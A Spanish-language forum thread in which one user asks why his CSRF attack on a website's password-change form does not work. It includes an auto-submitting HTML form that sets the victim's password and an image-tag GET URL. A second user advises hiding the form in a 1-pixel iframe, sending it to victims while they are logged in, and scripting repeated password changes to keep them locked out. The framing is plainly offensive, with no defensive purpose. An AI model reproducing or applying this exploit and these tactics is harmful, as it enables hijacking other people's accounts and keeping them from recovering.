[Problema] XSRF

Iniciado por ~ Yoya ~, 6 Diciembre 2009, 17:28 PM

0 Miembros y 1 Visitante están viendo este tema.

~ Yoya ~

Buenas, hire al punto de una vez, tengo este formulario vulnerable a XSRF/CSRF.
Estoy situado en:
www.pagina.com/login/
y tengo este formulario, que sirve para cambiar la clave.

<form name="formclave" method="post" action="cuenta.php?do=datos">
<td align="right">Clave</td>
<input type="password" name="clave">

<td align="right">Repite tu clave</td>
<input type="password" name="clave2"><input type="hidden" name="CambiarClave" value=1>
<td colspan="2" align="center"><input type="submit" value="Cambiar Clave"></td>
</form> 


Entonse quiero crear una url magica, que cambie los datos, en este caso hice la siguiente:
www.pagina.com/login/cuenta.php?do=datos&clave=owend&clave2=owend&CambiarClave=1

Para luego ponerla entre tags de img, en este caso seria bbcode y seria asi:
[img]www.pagina.com/login/cuenta.php?do=datos&clave=owend&clave2=owend&CambiarClave=1[/img]

Entonse la pongo como firma, avatar, etc... Y al cargar la imagen se haria la peticion automaticamente. Pero no funciona y me pregunte porque???, entonse lo que hice fue hacerlo manualmente usando Live HTTP Headers y hacer lo mismo pero una peticion POST y otra GET, para aclarar algunas dudas y al parecer la peticion POST funciono correctamente, pero la peticion GET no funciono, y si ponia la url magica en el navegador tampoco funcionaba, sabiendo que el nabegado hase peticiones POST, entonse me puse a crear un  formulario que rellene los datos automaticamente y haserle la peticion entre tags de img, aqui el formulario que hice.

<html><body>

<form name="formclave" method="post" action="www.pagina.com/login/cuenta.php?do=datos">
<input type="password" name="clave" value="owend">
<input type="password" name="clave2" value="owend">
<input type="hidden" name="CambiarClave" value=1>
<td colspan="2" align="center"><input type="submit" value="Cambiar Clave"></td>
</form> 
<script>document.formclave.submit()</script>
</body></html>


Entonse lo guarde como.. clave.html
Luego lo puse en localhost y al ir a su direccion:
localhost/clave.html
El formulario cargaba y luego me rediccionaba a la pagina y la clave se cambiaba.
Entonse lo que hice fue poner la direccion donde tenia la direccion del formulario creado y luego ponerlo entre tags de img, y cuando hice todo, fui a visualisar donde tenia el codigo del formulario creado para cambiar la clave, claro metida entre tags de img no paso nada, la clave no se cambio....

haber si me dicen cual es mi error.
Mi madre me dijo que estoy destinado a ser pobre toda la vida.
Engineering is the art of balancing the benefits and drawbacks of any approach.

WHK

Hola, una petición POST no es igual a una petición GET por lo tanto si el formulario solicita una petición post no puedes enviarle una petición get a menos que el programador haya decidido tomar las variables de get y pasarlas a post como lo hace cpanel pero en tu caso no es así, por lo tanto la petición get no te va a resultar.

Si pones tu formulario dentro de una imagen no te va a funcionar tampoco porque el explorador si redireccionará a la persona hacia el formulario pero no lo ejecutará porque las imagenes no ejecutan javascript :P eso solamente sirve para peticiones GET y no POST.

Lo que si puedes hacer es meter tu código dentro de un iframe de 1 pixel de ancho por alto y lo pones dentro de alguna página llamativa y vas probando suertte enviandole la url al afectado.

Si es un foro o algo similar entonces trata de enviarselo a su bandeja de entrada de ese mismo sistema para que te asegures que cuando lo lea estará logueado y el cambio de contraseña hará efecto.

También ojo que si le cambias la contraseña y esa persona sospecha va a ver tu codigo fuente y va a observar tu nueva contraseña y va a recuperar su cuenta :P asi que si yo fuera tu haría un script o algo que verifique el acceso cada 1 minuto y si loguea entonces que vuelva a cambiar la contraseña a una que solo tu sepas y ya.

~ Yoya ~

Solo una cosa.
Que codigo debo poner en el inframe¿?, el del formulario, y me darias un ejemplo xD
Mi madre me dijo que estoy destinado a ser pobre toda la vida.
Engineering is the art of balancing the benefits and drawbacks of any approach.

WHK

Código (html4strict) [Seleccionar]
Lo se quea aca
<iframe src="xss.html" style="width: 1px;"></iframe>


Después en xss.html pones tu formulario.

~ Yoya ~

Mi madre me dijo que estoy destinado a ser pobre toda la vida.
Engineering is the art of balancing the benefits and drawbacks of any approach.

WHK

En bbcode no puedes ejecutar un xss por medio de peticiones post